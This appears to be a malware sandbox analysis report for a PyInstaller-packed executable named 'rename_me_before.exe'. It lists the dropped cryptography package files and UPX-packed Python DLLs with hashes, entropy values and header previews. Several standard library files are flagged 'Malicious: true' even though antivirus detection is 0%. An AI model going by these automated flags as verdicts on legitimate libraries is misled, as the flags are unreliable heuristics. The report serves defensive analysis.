Preview:	PK..........!.h%..b...b......._collections_abc.pyc............................................d.Z.d.d.l.m.Z.m.Z...d.d.l.Z...e.e.e.........................Z...e.d...............Z.d...Z...e.e...............Z.[.g.d...Z.d.Z...e...e.d.............................Z...e...e...e...........................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.i.................................................................Z...e...e.g.............................Z...e...e...e.g...........................................Z...e...e...e.d...........................................Z...e...e...e.d.d.z.............................................Z...e...e...e...........................................Z...e...e.d.............................Z ..e...e.d.............................Z!..e...e...e"..........................................Z#..e.i.......................................

C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	197
Entropy (8bit):	4.61968998873571
Encrypted:	false
SSDEEP:	3:hWDncJhByZmJgXPForADu1QjygQuaAJygT2d5GeWreLRuOFEXAYeBKmJozlMHuO:h9Co8FyQjkDYc5tWreLBF/pn2mH1
MD5:	8C3617DB4FB6FAE01F1D253AB91511E4
SHA1:	E442040C26CD76D1B946822CAF29011A51F75D6D
SHA-256:	3E0C7C091A948B82533BA98FD7CBB40432D6F1A9ACBF85F5922D2F99A93AE6BB
SHA-512:	77A1919E380730BCCE5B55D76FBFFBA2F95874254FAD955BD2FE1DE7FC0E4E25B5FDAAB0FEFFD6F230FA5DC895F593CF8BFEDF8FDC113EFBD8E22FADAB0B8998
Malicious:	false
Preview:	This software is made available under the terms of either of the licenses.found in LICENSE.APACHE or LICENSE.BSD. Contributions to cryptography are made.under the terms of both these licenses..

C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info\LICENSE.APACHE

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	11360
Entropy (8bit):	4.426756947907149
Encrypted:	false
SSDEEP:	192:nUDG5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLh3kTSEnQHbHR:UIvlKM1zJlFvmNz5VrlkTS0QHt
MD5:	4E168CCE331E5C827D4C2B68A6200E1B
SHA1:	DE33EAD2BEE64352544CE0AA9E410C0C44FDF7D9
SHA-256:	AAC73B3148F6D1D7111DBCA32099F68D26C644C6813AE1E4F05F6579AA2663FE
SHA-512:	F451048E81A49FBFA11B49DE16FF46C52A8E3042D1BCC3A50AAF7712B097BED9AE9AED9149C21476C2A1E12F1583D4810A6D36569E993FE1AD3879942E5B0D52
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial ow

C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info\LICENSE.BSD

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1532
Entropy (8bit):	5.058591167088024
Encrypted:	false
SSDEEP:	24:MjUnoorbOFFTJJyRrYFTjzMbmqEvBTP4m96432s4EOkUTKQROJ32s3yxsITf+3tY:MkOFJSrYJsaN5P406432svv32s3EsIqm
MD5:	5AE30BA4123BC4F2FA49AA0B0DCE887B
SHA1:	EA5B412C09F3B29BA1D81A61B878C5C16FFE69D8
SHA-256:	602C4C7482DE6479DD2E9793CDA275E5E63D773DACD1ECA689232AB7008FB4FB
SHA-512:	DDBB20C80ADBC8F4118C10D3E116A5CD6536F72077C5916D87258E155BE561B89EB45C6341A1E856EC308B49A4CB4DBA1408EABD6A781FBE18D6C71C32B72C41
Malicious:	false
Preview:	Copyright (c) Individual contributors..All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:.. 1. Redistributions of source code must retain the above copyright notice,. this list of conditions and the following disclaimer... 2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution... 3. Neither the name of PyCA Cryptography nor the names of its contributors. may be used to endorse or promote products derived from this software. without specific prior written permission...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOS

C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5430
Entropy (8bit):	5.111666659056883
Encrypted:	false
SSDEEP:	96:Dx2pqZink/QIHQIyzQIZQILuQIR8vtklGovuxNx6rIWwCvCCcT+vIrrr9B+M6VwP:4JnkoBs/stL18cT+vIrrxsM6VwDjyeyM
MD5:	07E3EEA441A0E6F99247D353BD664EA1
SHA1:	99C8F9C2DD2D02BE18D50551ED4488325906C769
SHA-256:	04FE672BF2AA70FF8E6B959DEFE7D676DCDFD34EE9062030BA352A40DB5E2D37
SHA-512:	24F458C831F7A459D12E0217F4BD57F82A034FEC9EA154CAC303200E241A52838A1962612C5AAFF5CD837F668FDC810606624DCA901F4274973F84A9ADBA8D66
Malicious:	false
Preview:	Metadata-Version: 2.1..Name: cryptography..Version: 42.0.8..Summary: cryptography is a package which provides cryptographic recipes and primitives to Python developers...Author-email: The Python Cryptographic Authority and individual contributors <cryptography-dev@python.org>..License: Apache-2.0 OR BSD-3-Clause..Project-URL: homepage, https://github.com/pyca/cryptography..Project-URL: documentation, https://cryptography.io/..Project-URL: source, https://github.com/pyca/cryptography/..Project-URL: issues, https://github.com/pyca/cryptography/issues..Project-URL: changelog, https://cryptography.io/en/latest/changelog/..Classifier: Development Status :: 5 - Production/Stable..Classifier: Intended Audience :: Developers..Classifier: License :: OSI Approved :: Apache Software License..Classifier: License :: OSI Approved :: BSD License..Classifier: Natural Language :: English..Classifier: Operating System :: MacOS :: MacOS X..Classifier: Operating System :: POSIX..Classifier: Operating Syst

C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	15325
Entropy (8bit):	5.563458272393817
Encrypted:	false
SSDEEP:	384:eUXz6cZmsyP6gbCP+onvZ6FGotqw++9wvnd:eUj6cZmsyP6g4N
MD5:	D642B5D5BB864006D0457F1CB8E41197
SHA1:	81F98E289CF8320701353BFBBA8255C6460EDD3B
SHA-256:	3909DBBE41F046B701CC362332C28020C25A20963E3B8587D1C453402C106859
SHA-512:	0397C2C71045E0F9FCE25FD5A350A3F4FA3A230937ECD659D9955D1FD75D1D5A21370A88D9A7F9F44111E4D3DF7578C2EF7A16B43B542AEDF7B65DBD484886DD
Malicious:	false
Preview:	cryptography-42.0.8.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..cryptography-42.0.8.dist-info/LICENSE,sha256=Pgx8CRqUi4JTO6mP18u0BDLW8amsv4X1ki0vmak65rs,197..cryptography-42.0.8.dist-info/LICENSE.APACHE,sha256=qsc7MUj20dcRHbyjIJn2jSbGRMaBOuHk8F9leaomY_4,11360..cryptography-42.0.8.dist-info/LICENSE.BSD,sha256=YCxMdILeZHndLpeTzaJ15eY9dz2s0eymiSMqtwCPtPs,1532..cryptography-42.0.8.dist-info/METADATA,sha256=BP5nK_KqcP-Oa5Wd7-fWdtzf007pBiAwujUqQNteLTc,5430..cryptography-42.0.8.dist-info/RECORD,,..cryptography-42.0.8.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..cryptography-42.0.8.dist-info/WHEEL,sha256=ZzJfItdlTwUbeh2SvWRPbrqgDfW_djikghnwfRmqFIQ,100..cryptography-42.0.8.dist-info/top_level.txt,sha256=KNaT-Sn2K4uxNaEbe6mYdDn3qWDMlp4y-MtWfB73nJc,13..cryptography/__about__.py,sha256=ugkzP6GZzVCOhwUvdLskgcf4kS7b7o-gvba32agVp94,445..cryptography/__init__.py,sha256=iVPlBlXWTJyiFeRedxcbMPhyHB34viOM10d72vGnWuE,364..cryptography/__pycache__/_

C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	100
Entropy (8bit):	5.0203365408149025
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlbY3KgP+tkKciH/KQLn:RtBMwlVCxWKTQLn
MD5:	C48772FF6F9F408D7160FE9537E150E0
SHA1:	79D4978B413F7051C3721164812885381DE2FDF5
SHA-256:	67325F22D7654F051B7A1D92BD644F6EBAA00DF5BF7638A48219F07D19AA1484
SHA-512:	A817107D9F70177EA9CA6A370A2A0CB795346C9025388808402797F33144C1BAF7E3DE6406FF9E3D8A3486BDFAA630B90B63935925A36302AB19E4C78179674F
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.42.0).Root-Is-Purelib: false.Tag: cp39-abi3-win_amd64..

C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography-42.0.8.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	13
Entropy (8bit):	3.2389012566026314
Encrypted:	false
SSDEEP:	3:cOv:Nv
MD5:	E7274BD06FF93210298E7117D11EA631
SHA1:	7132C9EC1FD99924D658CC672F3AFE98AFEFAB8A
SHA-256:	28D693F929F62B8BB135A11B7BA9987439F7A960CC969E32F8CB567C1EF79C97
SHA-512:	AA6021C4E60A6382630BEBC1E16944F9B312359D645FC61219E9A3F19D876FD600E07DCA6932DCD7A1E15BFDEAC7DBDCEB9FFFCD5CA0E5377B82268ED19DE225
Malicious:	false
Preview:	cryptography.

C:\Users\user\AppData\Local\Temp\_MEI13962\cryptography\hazmat\bindings\_rust.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2102272
Entropy (8bit):	7.999630264030653
Encrypted:	true
SSDEEP:	49152:Zxb/ugbzxYwKmcNaEufwWGvEJx4nC1M+MvyaR:ZZ5LsNNWdQn8ZZ0
MD5:	B77C7DE3D1F9BF06ECAD3A1F8417F435
SHA1:	AB60A744F8614EA68FD522CE6AEB125F9FC2F2D8
SHA-256:	A59A933DEF9329CCBCAC18135EC2976599A42EBD8FFDAEED650DC185B47B11FB
SHA-512:	1AFAF8C42D41D03E47A671325215452FCB8B4EA6576ACAC056AE18297829FB1F67C24F367AD20D825B0C5CB6D7997529D796BD947FF03B89154E7C5686335879
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)..m...m...m...d.@.....2..o...2..\|...2..e...2..i....2..o...m...L......\|...1......m.......1..l...1..l...Richm...........................PE..d....o_f.........." ...'.. ...... O..)o..0O..................................Po...........`.........................................(Eo.p....@o.(............`j.DO...........Eo.$............................5o.(....6o.@...........................................UPX0..... O.............................UPX1...... ..0O... .................@...UPX2.........@o....... .............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\frozenlist\_frozenlist.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	7.843168848110761
Encrypted:	false
SSDEEP:	768:5S6WTnXeaMytX+TkQ5l1b2YyvPBsDNFyMCipcL:5S6WDuaM6XuvZyuaMEL
MD5:	15B0DF96344BAF6A4C72766721943E52
SHA1:	A3666E88594D1EC97DE23B9242F346C43A34C070
SHA-256:	ABB6F497003738DB2407B01DFA0ABC61F6BC7FDB2452C52F76AB11F5430D844F
SHA-512:	4FBF295D0882646B8C4B3284F11331FB12767FD1404D78D3E4D88A434896058C2DF05DD1A2D9C8CE696D2D3AAD8C7251D00D95C399DF2E8C11BB319F87A4385E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!\5.@2f.@2f.@2f.8.f.@2f.?3g.@2f.83g.@2f.?7g.@2f.?6g.@2f.?1g.@2fK=3g.@2f.@3f.@2f..:g.@2f..2g.@2f...f.@2f..0g.@2fRich.@2f................PE..d.....{e.........." ...%.........0.......@................................................`.............................................h....................p..(.......................................................@...........................................UPX0.....0..............................UPX1.........@......................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\libcrypto-3.dll

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1629464
Entropy (8bit):	7.952620301087112
Encrypted:	false
SSDEEP:	49152:kMyDwbv70aKbP1zkLO5YHLA1CPwDvt3uFlDCZ:owbv77KbPaqYHLA1CPwDvt3uFlDCZ
MD5:	F3FDBBD6C6EA0ABE779151AE92C25321
SHA1:	0E62E32666BA5F041B5369B36470295A1916CB4E
SHA-256:	9000E335744818665B87A16A71DA5B622B5052B5341F1D6CE08FF8346D2BF3E4
SHA-512:	E8A363042A05868ACC693B5D313F52FFC95B8F6B764A77FF477B0CE2288787DD275478DDBE33D6DBD87636BA9FF0243D2E447A161E2F9CC2F3DBA0746F219E4E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./',.kFB.kFB.kFB.b>..yFB..:C.iFB..:G.gFB..:F.cFB..:A.oFB.kFC..FB. >C.`FB.;A.KFB.;F..EB.;B.jFB.;..jFB.;@.jFB.RichkFB.........................PE..d...x..e.........." ...#. .......`9.0{O..p9.................................. R...........`......................................... .O......O.h.....O.......K.\.............R.......................................O.@...........................................UPX0.....`9.............................UPX1..... ...p9.....................@....rsrc.........O.....................@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\libffi-8.dll

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	29968
Entropy (8bit):	7.677818197322094
Encrypted:	false
SSDEEP:	768:Tp/6aepjG56w24Up3p45YiSyvkIPxWEqG:5A154spK7SytPxF
MD5:	0D1C6B92D091CEF3142E32AC4E0CC12E
SHA1:	440DAD5AF38035CB0984A973E1F266DEFF2BD7FC
SHA-256:	11EE9C7FB70C3756C0392843245935517171B95CC5BA0D696B2C1742C8D46FB6
SHA-512:	5D514ECAB93941E83C008F0E9749F99E330949580884BF4850B11CAC08FE1AC4AC50033E8888045FE4A9D8B4D2E3EA667B39BE18F77266D00F8D7D6797260233
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........iV...8...8...8..p....8.t9...8.p9...8...9...8.t=...8.t<...8.t;...8.1t<...8.1t;...8.1t8...8.1t:...8.Rich..8.........................PE..d...Sh.c.........." ...".@................................................................`.....................................................................P.......................................................@...........................................UPX0....................................UPX1.....@.......<..................@...UPX2.................@..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\libssl-3.dll

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	229144
Entropy (8bit):	7.930038440560372
Encrypted:	false
SSDEEP:	3072:GFfmvsqWLSCMT+MyN6Qp2oZqpN+/fvrqknqbf6CjaBGkfPkZAK1ck2kBVfLwOmFd:GFevsT9JN+vyH1nqLr3CPrYBBRcd
MD5:	F9BC28708C1628EF647A17D77C4F5F1A
SHA1:	032A8576487AD26F04D31628F833EF9534942DA6
SHA-256:	49BA508DC66C46B9E904BB5FE50CF924465EFF803A9F1E4260E752B0231EFCC1
SHA-512:	E33FD00BCF73AAB8BCE260EDA995A1513930B832EA881C5A8CE1A151BE3576F3369AC0B794FDD93806157BB9F4FE4EBA38A25F4FDC512A6F3640647B8B447387
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........T..T..T..].3.Z....V......V....X....\....P....W..T..I....e....U.._.U....U..RichT..........PE..d......e.........." ...#.....P...p...r....................................................`............................................,C......8............ ..pM...................................................~..@...........................................UPX0.....p..............................UPX1................................@....rsrc....P.......L..................@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\multidict\_multidict.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	7.550806027936981
Encrypted:	false
SSDEEP:	384:T6n6Apum7DurKkfFwr37/fgQZtR5DLURkUzLgV5tga2Za7gJXNug8:enppuYrkfIrHZrnDLarYVT4p9u
MD5:	EEADED775EABFAAEDE5CA025F55FD273
SHA1:	8EEFB3B9D85B4D5AD4033308F8AF2A24E8792E02
SHA-256:	DB4D6A74A3301788D32905B2CCC525E9A8E2219F1A36924464871CF211F115A0
SHA-512:	A6055D5604CC53428D89B308C223634CD94082BE0BA4081513974E1826775D6E9FC26180C816D9A38FEAD89B5E04C5E7CF729C056BFAE0ED74D6885C921B70AD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........29T^SW.^SW.^SW.W+..\SW.K,V.\SW..+V.\SW.K,R.RSW.K,S.VSW.K,T.]SW.d.V.]SW.^SV.(SW.d._._SW.d.W._SW.d.._SW.d.U._SW.Rich^SW.........................PE..d...0..e.........." ...%.P...................................................@............`.........................................@2..d....0..P....0.......................2.......................................%..@...........................................UPX0....................................UPX1.....P.......H..................@....rsrc........0.......L..............@..............................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\pyexpat.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	89880
Entropy (8bit):	7.909712386269427
Encrypted:	false
SSDEEP:	1536:XsynT+G0EI+epxbbIdegcKO4q1GLOUIzUre2N75Bq/hIa3BmK/PxsdIVLh3p7SyD:XXQEbepxbbYnf7q1G6Uhre2NNBq/IsAg
MD5:	EC28105660F702C7A4A19D2265A48B43
SHA1:	2603A0D5467B920ED36FEF76D1176C83953846BC
SHA-256:	B546BF126F066A6645AE109D6D08DF911FB77301CC5E6D39434CD24475822AF5
SHA-512:	A388A7A5072D34B3477C5BB872F6E1242128BDDB09D87CEAC840615D80F0315EC60FF443CA5FAB590332E43C4BF3D4CE5D3CC63EACA40945110C1888D2A69DCB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........................g.................................h.......................h.......h.......h.......h.......Rich....................PE..d......e.........." ...#. ....... ...?...0...................................`............`..........................................\..P....Y.......P.......................\.......................................K..@...........................................UPX0..... ..............................UPX1..... ...0......................@....rsrc........P......."..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\python3.dll

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	67352
Entropy (8bit):	6.1462717896521335
Encrypted:	false
SSDEEP:	768:lGw/EsYpkVgBaz57kcDA7QKFmpz7cnzH/ks/KF61xubwmB1Cf//yhC74JFmpktJa:r/5k8cnzeJd9IVL0v7SyJwx/
MD5:	D8BA00C1D9FCC7C0ABBFFB5C214DA647
SHA1:	5FA9D5700B42A83BFCC125D1C45E0111B9D62035
SHA-256:	E45452EFA356DB874F2E5FF08C9CC0FE22528609E5D341F8FB67BA48885AB77D
SHA-512:	DF1B714494856F618A742791EEFBF470B2EEE07B51D983256E4386EA7D48DA5C7B1E896F222EA55A748C9413203886CDE3A65EF9E7EA069014FA626F81D79CD3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........C..."e.."e.."e.0_m.."e.0_e.."e.0_..."e.0_g.."e.Rich."e.................PE..d......e.........." ...#.................................................................`.........................................`...P................................/..............T............................................................................rdata..............................@..@.rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI13962\python311.dll

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1705240
Entropy (8bit):	7.993600008484676
Encrypted:	true
SSDEEP:	24576:CJY99sOZi/8N8C1CSIJyR4ZRE1Rqq/uQivcHe2Bg5Cmek5CP7uP6zohpLGLZFkh2:9jZiEN8p6ivZUHe2BgcpP7uaor6
MD5:	AFFA456007F359E9F8C5D2931D966CB9
SHA1:	9B06D6CB7D7F1A7C2FA9E7F62D339B9F2813E80F
SHA-256:	4BAB2E402A02C8B2B0542246D9EF54027A739121B4B0760F08CD2E7C643ED866
SHA-512:	7C357F43DD272E1D595CCDE87C13FD2CDF4123B20AF6855576BFBA15AFD814A95886CEBBE96BB7781B916F9DB3C3EE02D381036DDBF62095DE3EE43A7F94D156
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......... ..qN.qN.qN.$.O.qN.$...qN.$.K.qN.$.J.qN.$.M.qN....qN...O.qN.qO..pN.B.C.]qN.B.N.qN.B...qN.B.L.qN.Rich.qN.........PE..d......e.........." ...#..........D...]...D...................................^...........`.........................................H.].......].......].......V../..........(.^.......................................].@...........................................UPX0......D.............................UPX1..........D.....................@....rsrc.........].....................@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\select.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26392
Entropy (8bit):	7.44233047444268
Encrypted:	false
SSDEEP:	384:kUAW1guHrh0h1d4NZa7gJXZjNIVQG86lHQIYiSy1pCQfwug+AM+o/8E9VF0NyciC:kjW1JVpJjNIVQG8S5YiSyv3g+AMxkEdC
MD5:	A74E10B7401EA044A8983D01012F3103
SHA1:	CDD0AFA6AE1DCEBC9CCFEC17E23C6770A9ABFB8F
SHA-256:	78A4B12D7DA7E67B1DC90646B269C3E8DFEA5DC24E5EEF4787FFFD4325FE39D8
SHA-512:	A080050B5D966303D2A27CAFCA8CBF83777329A54CA00BBB16EB547EEF4262C9FDF7C828CADB02E952AEB631EC560D1DCE3CF91F387A96DE9E82037F1C3AC47B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........t.q\|'.q\|'.q\|'...'.q\|'q.}&.q\|'q.y&.q\|'q.x&.q\|'q..&.q\|'..}&.q\|'.q}'.q\|'..}&.q\|'..q&.q\|'..\|&.q\|'...'.q\|'..~&.q\|'Rich.q\|'........PE..d......e.........." ...#.0................................................................`......................................... ...L....................`..............l...........................................@...........................................UPX0....................................UPX1.....0.......(..................@....rsrc................,..............@..............................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\sqlite3.dll

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	637720
Entropy (8bit):	7.993300822314004
Encrypted:	true
SSDEEP:	12288:pevMEHnoed8VDT4Rc+iHsLG56RY+hPQHAnxeIglZsk2F24ZHL2Ubsi2V4G2:p8oy8x4Rl1dRnxeDlZxsl2MsDVr2
MD5:	7219D265A3204344CE216344DE464920
SHA1:	13E7B7980E17ED5A225B93FFB393F1BC7419AC2E
SHA-256:	5821D8BD76212B57EEE95B7ECB5A8381D2FE24AE31164BE03F0F8BF13D5B86D4
SHA-512:	D554C881073417DD03334521CA0AFC95716B1A9788E9EE1A0540CE3D7E53132F4EE511C10B05AB090909002294D9648D1D65E994C8D105BFF7142CDCCE1D4B77
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........W..W..W..^.P.[....U....Z...._.....S.....T..W........V.....V....<.V......V..RichW..........................PE..d......e.........." ...#.`...0.......*.......................................p............`..........................................K..."...H.......@.......................m.......................................7..@...........................................UPX0....................................UPX1.....`.......Z..................@....rsrc....0...@.......^..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\unicodedata.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	302872
Entropy (8bit):	7.986782854548308
Encrypted:	false
SSDEEP:	6144:yk/Qvs7yfQJYx4x9UVqHDMDNCStEQc5YmDp9KiQ/y:ykUfQJbUV2MhCwEQc5Np9zQ6
MD5:	660EF38D6DE71EB7E06C555B38C675B5
SHA1:	944EC04D9B67D3F25D3FB448973C7AD180222BE3
SHA-256:	FD746987AB1EA02B6568091040E8C5204FB599288977F8077A7B9ECEFDC5EDB4
SHA-512:	26AC7D56E4FB02E43E049C9055979FC6E0E16FAB8F08F619233E12B278F300FAA5FFABAC1D9B71091571A89CDF9ACFEB3478508FBA96EF2E647327215BE6E9D7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......p...4m..4m..4m..=...2m......6m......9m......<m......7m......7m......6m..4m..em......5m......5m....j.5m......5m..Rich4m..................PE..d......e.........." ...#.`.......@.......P................................................`.............................................X....................P..0.......................................................@...........................................UPX0.....@..............................UPX1.....`...P...^..................@....rsrc................b..............@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\_MEI13962\yarl\_quoting_c.cp311-win_amd64.pyd

Download File

Process:	C:\Users\user\Desktop\rename_me_before.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	7.868227278889233
Encrypted:	false
SSDEEP:	768:dU3TLuhvkAahe3LS0HW7A7I57CdTRgbaa34cU29pU:dCFs7S0HW07I57CBRgkcw
MD5:	9A8F969ECDF0C15734C1D582D2AE35D8
SHA1:	A40691E81982F610A062E49A5AD29CFFB5A2F5A8
SHA-256:	874E52CCEAE9A3C967BAC7B628F4144C32E51FC77F519542FC1BAC19045ECDE8
SHA-512:	E0DEB59ABEF7440F30EFFB1AAB6295B5A50C817F685BE30B21A3C453E3099B97FD71984E6CA6A6C6E0021ABB6E906838566F402B00A11813E67A4E00B119619F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......../]..A...A...A.......A...@...A..@...A...D...A...E...A...B...A.[.@...A...@.B.A..`I...A..`A...A..`....A..`C...A.Rich..A.................PE..d....Ype.........." ...%.........`.......p................................... ............`.............................................d...............................................................................@...........................................UPX0.....`..............................UPX1.........p......................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................4.20.UPX!.$..

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_adzphgmy.vek.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
